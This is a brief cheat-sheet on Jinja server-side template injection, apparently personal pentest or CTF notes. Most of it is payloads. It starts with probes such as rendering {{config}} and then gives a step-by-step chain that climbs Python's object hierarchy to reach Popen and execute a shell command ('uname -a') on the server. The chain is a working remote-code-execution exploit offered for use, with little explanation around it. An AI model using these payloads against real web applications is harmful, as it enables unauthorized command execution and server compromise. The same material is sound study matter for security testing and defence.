# Jinja

```python
{{SECRET_STRING}}
```

```python
{{config|pprint}}
```

Jinja uses python, and a step by step attack can be created using:

```python
# ----------------------------- Python --------------------------------------#
# First check with {{4+2}}
# Then check with 
{{''.__class__}}
# The above should return string
{{''.__class__.mro()[0]}}
# Keep changing the value of 0, until we get a response as object
{{''.__class__.mro()[2].__subclasses__()}}
# This will list all the subclasses that are available. We can now copy this,
# and find the index of popen. In situation we got it as 233
{{''.__class__.mro()[2].__subclasses__()[233]}}
# This should show the class as popen.
{{''.__class__.mro()[2].__subclasses__()[233]("uname -a",shell=True)}}
```
